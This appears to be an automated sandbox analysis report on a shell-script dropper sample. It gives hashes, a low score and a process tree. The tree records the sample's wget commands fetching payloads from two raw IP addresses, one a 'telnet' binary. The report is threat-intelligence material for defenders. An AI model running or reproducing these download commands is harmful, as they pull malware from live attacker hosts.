789e056c19294be33e2eb9c1a01a3bda44f15f34cfcf7349ec953b6dacda9fe6

Analysis

max time kernel
122s
max time network
124s
platform
debian-9_mipsel
resource
debian9-mipsel-20260513-en
resource tags

arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
11/11/2026, 10:15

Target
superior_telnet_dropper_10nov.sh
Size 12KB
Sample261111-mac3dse12r
SHA256 789e056c19294be33e2eb9c1a01a3bda44f15f34cfcf7349ec953b6dacda9fe6
MD5 808f4cd3e143e59f0781ea63a0c7e3d7
SHA1 56a1abd1f4c0aa5b5bd227501992e29ffe17417a
SHA512 8b6d3c7d705706a1c392a5d7bff6d9de1eece26f72d68000e8a7e3ccd12f46690b3b3ac0a222efd3dc908e8dde0077875b06d814867befc9f7f08846839a5633
SSDEEP 192:pzYN7bQ9AVD/e2t4CW9dGvgLtJtoJEQqZTGpizSbyjCLESBy0gOcM1ft71p/3fc8:pzYm2t419drf24+1gO91p/Y9Lo
TLSH
T1894293B3E62029B275C2C83DA34AA05119463527BE546884F09F79447FFCABE7172FB4
MD5 SHA1 SHA512 SSDEEP TLSH

Score

3^/10

discovery

System Network Configuration Discovery 1 TTPs 1 IoCs

Adversaries may gather information about the network configuration of a system.

System Network Configuration Discovery

pid	Process
709	busybox

/tmp/superior_telnet_dropper_10nov.sh
/tmp/superior_telnet_dropper_10nov.sh
1⤵
PID:705
- /bin/hostname
  hostname
  2⤵
  PID:707
- /bin/busybox
  busybox wget -qO- -T 3 http://77.239.124.167:8099/b/s/debian9-mipsel-20260513-en-12
  2⤵
  - System Network Configuration Discovery
  PID:709
- /usr/bin/wget
  wget -qO- http://67.213.122.211:8080/b/telnet
  2⤵
  PID:719

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Network Configuration Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact